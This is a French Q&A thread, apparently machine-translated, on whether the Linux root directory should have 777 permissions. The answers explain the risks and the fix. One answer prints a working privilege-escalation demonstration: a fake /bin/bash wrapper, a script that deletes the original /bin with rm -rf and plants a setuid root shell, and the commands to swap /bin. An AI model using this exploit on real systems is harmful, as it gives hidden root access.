web-dev-qa-db-fra.com

La racine / doit-elle avoir l'autorisation 777?

La plupart du contenu est 755 cependant.

Est-ce un problème?

permissionssecuritydirectory
3
K. Eoe

Il est intéressant de noter que le / autorise en réalité les autorisations 777. Le dossier / ne doit pas avoir les autorisations 777, car cela signifie que tout utilisateur connecté au système peut créer des fichiers et des dossiers au niveau racine /. J'ai testé cela dans un VM et vous NE PEUT PAS supprimer tous les dossiers ou fichiers qui ne sont pas 777 sans être Sudo, root ou la owner. Les autorisations d’accès sont toujours suivies, car tenter d’accéder au dossier /root vous donnerait l’autorisation refusée. Cependant, cela étant dit, vous pouvez toujours déplacer le dossier /root vers /root.old en créant de petits dégâts.

Pour résoudre ce problème, vous pouvez exécuter Sudo chmod 755 / afin de modifier les autorisations d'accès. Vous pouvez également exécuter Sudo chown root:root / simplement pour vous assurer qu'il est la propriété de root lui-même. N'exécutez aucune de ces commandes avec -R car cela modifiera tous les fichiers et dossiers de la partition afin qu'ils correspondent aux autorisations et à la propriété.

J'espère que cela t'aides!

12
Terrance

Non. / (le répertoire racine) n'est pas sécurisé avec les autorisations 777. Cela signifie que rwxrwxrwx, c’est-à-dire que chaque utilisateur a le droit d’écrire sur le répertoire racine.

Avec cette autorisation, chaque utilisateur pourra créer de nouveaux sous-répertoires, supprimer des sous-répertoires existants et remplacer les sous-répertoires existants. Par exemple, un utilisateur malveillant pourrait supprimer /bin (en le renommant /bin.old) et créer un nouveau /bin lui appartenant, contenant des exécutables malveillants. Ou l'utilisateur peut supprimer /etc (en le renommant /etc.old) et créer un nouveau /etc contenant un nouveau fichier /etc/passwd et /etc/shadow permettant à l'utilisateur de se connecter. dans chaque compte sur le système.

8
D.W.

/ ne devrait pas être accessible en écriture

/ être enregistrable dans le monde entier peut être un énorme problème. Ayant les autorisations d'écriture sur /, tout utilisateur peut déplacer/renommer tout fichier ou répertoire de /. Cela signifie que tout utilisateur peut remplacer /etc, /usr ou l'un des autres répertoires de / par les répertoires de son choix.

Déni de service: Trivial

N'importe quel utilisateur peut faire votre système de façon triviale, en renommant /etc et /usr.

Escalade de privilèges: un peu moins triviale

Il est légèrement plus difficile d'effectuer une élévation de privilèges. Un utilisateur peut remplacer /bin par sa propre copie et tout processus essayant ensuite d'utiliser cp, ou même lancer un shell , sera immédiatement à leur merci. Tout ce que l'utilisateur a besoin de faire, c'est d'attendre qu'un processus s'exécutant en tant que root utilise n'importe quelle commande de /bin, ou que l'utilisateur root utilise login, et ils sont déjà connectés.

Exemple

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

Puis:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

Et la prochaine fois que root démarrera un shell, vous obtiendrez un exécutable setuid dans votre répertoire personnel que vous pourrez ensuite utiliser confortablement pour obtenir la racine à tout moment, sans laisser beaucoup de traces.

8
muru